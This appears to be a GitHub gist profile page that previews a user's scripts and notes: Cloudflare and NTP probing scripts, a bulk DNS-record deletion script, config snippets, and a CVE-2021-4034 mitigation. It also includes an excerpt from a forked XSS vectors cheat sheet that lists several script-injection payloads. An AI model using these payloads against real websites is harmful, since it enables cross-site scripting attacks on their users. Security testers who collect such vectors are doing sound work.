Skip to content

Instantly share code, notes, and snippets.

View BirkhoffLee's full-sized avatar
🎓
Learning about CS

birkhoff BirkhoffLee

🎓
Learning about CS
View GitHub Profile
@BirkhoffLee
BirkhoffLee / probe.sh
Created June 15, 2023 19:01
Probe Cloudflare colocation for various plans
#!/usr/bin/env bash
lookup() {
ips=$(dig @1.1.1.1 +short $1.cdn.cloudflare.net)
echo "$1:"
for ip in $ips; do
curl -s --resolve $1:443:$ip https://$1/cdn-cgi/trace | grep "colo="
done
echo ""
@BirkhoffLee
BirkhoffLee / cloudflare-delete-all-records.sh
Created June 15, 2023 18:10 — forked from slayer/cloudflare-delete-all-records.sh
Delete all DNS records for specified zone
#!/bin/bash
TOKEN="xxxxxxxxxxxxxxxxxxx"
ZONE_ID=2222222222222222222222222
# EMAIL=me@gmail.com
# KEY=11111111111111111111111111
# Replace with
# -H "X-Auth-Email: ${EMAIL}" \
# -H "X-Auth-Key: ${KEY}" \
@BirkhoffLee
BirkhoffLee / README.md
Created March 22, 2023 12:27
師大 Cumulative GPA 計算機

使用步驟

  1. 把 main.js 存起來
  2. 在同個資料夾跑 npm install xlsx
  3. 在教務系統載成績報表,然後把報表的 path 放進 main.js 裡面(89 行)
  4. $ node main.js
    [
      [ 2, 4.3 ], [ 2, 4 ],   [ 2, 4 ],
      [ 2, 3.7 ], [ 3, 4 ],   [ 3, 4 ],

[ 3, 3.7 ], [ 1, 4.3 ], [ 3, 1 ],

@BirkhoffLee
BirkhoffLee / xss_vectors.txt
Created December 28, 2022 10:02 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@BirkhoffLee
BirkhoffLee / Caddyfile
Created December 14, 2022 17:20
Caddy on Docker for SPA website (e.g. Vue Router)
:3000 {
root * /app
try_files {path}.html {path} /index.html
file_server
header {
-server
}
}
@BirkhoffLee
BirkhoffLee / 55-bytes-of-css.md
Created September 26, 2022 08:41 — forked from JoeyBurzynski/55-bytes-of-css.md
58 bytes of css to look great nearly everywhere

58 bytes of CSS to look great nearly everywhere

When making this website, i wanted a simple, reasonable way to make it look good on most displays. Not counting any minimization techniques, the following 58 bytes worked well for me:

main {
  max-width: 38rem;
  padding: 2rem;
  margin: auto;
}
@BirkhoffLee
BirkhoffLee / README.md
Created September 12, 2022 02:32
Install ruby 3.1.2 on M1 with rbenv with homebrew openssl and a mitigation of libtool deprecation
@BirkhoffLee
BirkhoffLee / test-ntp.py
Created August 27, 2022 20:31 — forked from adulau/test-ntp.py
test-ntp.py - Test a set of IP addresses for active NTP services
#!/usr/bin/env python
#
# Requirements: ntplib (easy_install ntplib)
#
# How to use it using GNU parallel (to run in //):
#
# cut -f1 -d";" ntp-monlist-servers.csv | parallel "python test-ntp.py --ip {1}"
#
# Software is free software released under the "Modified BSD license"
#
@BirkhoffLee
BirkhoffLee / pkexec_block.stp
Last active January 27, 2022 04:08
Mitigate CVE-2021-4034 on CentOS 8 with Ansible
probe process("/usr/bin/pkexec").function("main") {
if (cmdline_arg(1) == "")
raise(9);
}
Nix 15 hrs 15 mins ████████▍░░░░░░░░░░░░ 40.3%
Cheetah 10 hrs 14 mins █████▋░░░░░░░░░░░░░░░ 27.1%
PHP 3 hrs 17 mins █▊░░░░░░░░░░░░░░░░░░░ 8.7%
Other 3 hrs 11 mins █▊░░░░░░░░░░░░░░░░░░░ 8.4%
JavaScript 1 hr 18 mins ▋░░░░░░░░░░░░░░░░░░░░ 3.5%